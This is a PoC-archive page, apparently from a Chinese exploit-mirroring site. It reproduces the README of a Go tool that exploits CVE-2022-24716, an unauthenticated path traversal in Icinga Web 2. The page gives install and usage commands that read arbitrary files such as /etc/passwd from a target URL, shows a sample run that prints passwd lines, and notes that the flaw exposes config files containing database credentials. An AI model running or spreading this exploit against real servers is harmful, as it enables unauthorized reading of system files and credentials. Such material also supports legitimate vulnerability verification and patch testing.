关联漏洞
标题：
Icinga Web 2 路径遍历漏洞
(CVE-2022-24716)
描述：Icinga Web 2是一个应用软件。Icinga Web 2是Icinga Project开发的下一代开源监控 Web 界面、框架和命令行界面，支持 Icinga 2、Icinga Core 和任何其他兼容 IDO 数据库的监控后端。 Icinga Web 2 存在路径遍历漏洞，该漏洞源于未经认证的Icinga Web 2 用户可以泄露web-server用户可以访问的本地系统文件的内容，包括带有数据库凭据的“icingaweb2”配置文件。
描述
CVE-2022-24716 (Arbitrary File Disclosure Icingaweb2)
介绍
# CVE-2022-24716
<p align="left">
<a href="https://go.dev/"><img src="https://img.shields.io/badge/made%20with-Golang-blue"></a>
<a href="#"><img src="https://img.shields.io/badge/platform-osx%2Flinux%2Fwindows-blueviolet"></a>
</p>
Icinga Web 2 is an open source monitoring web interface, framework and command line interface. Unauthenticated users can leak the contents of user-accessible local system files from the web server, including `icingaweb2` configuration files with database credentials.
- [Installation](#installation)
- [Usage](#usage)
- [Running CVE-2022-24716](#running-cve-2022-24716)
# Installation
CVE-2022-24716 requires **golang** and to download it just use:
```sh
go install -v github.com/joaoviictorti/CVE-2022-24716@latest
```
# Usage
```sh
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd -p http://127.0.0.1:8080
```
This will display help for the tool. Here are all the switches it supports:
```yaml
usage: CVE-2022-24716 [-h|--help] -u|--url "<value>" -f|--file "<value>"
[-p|--proxy "<value>"]
CVE-2022-24716 - Arbitrary File Disclosure
Arguments:
-h --help Print help information
-u --url Insert url
-f --file Insert file
-p --proxy Insert proxy
```
# Running CVE-2022-24716
```console
go run .\CVE-2022-24716.go -u http://icinga.cerberus.local:8080 -f /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
......
```
文件快照
[4.0K] /data/pocs/1c10c3870397629309caba541923da1e48a6f4b7
├── [2.2K] CVE-2022-24716.go
├── [ 152] go.mod
├── [ 418] go.sum
└── [1.5K] README.md
0 directories, 4 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。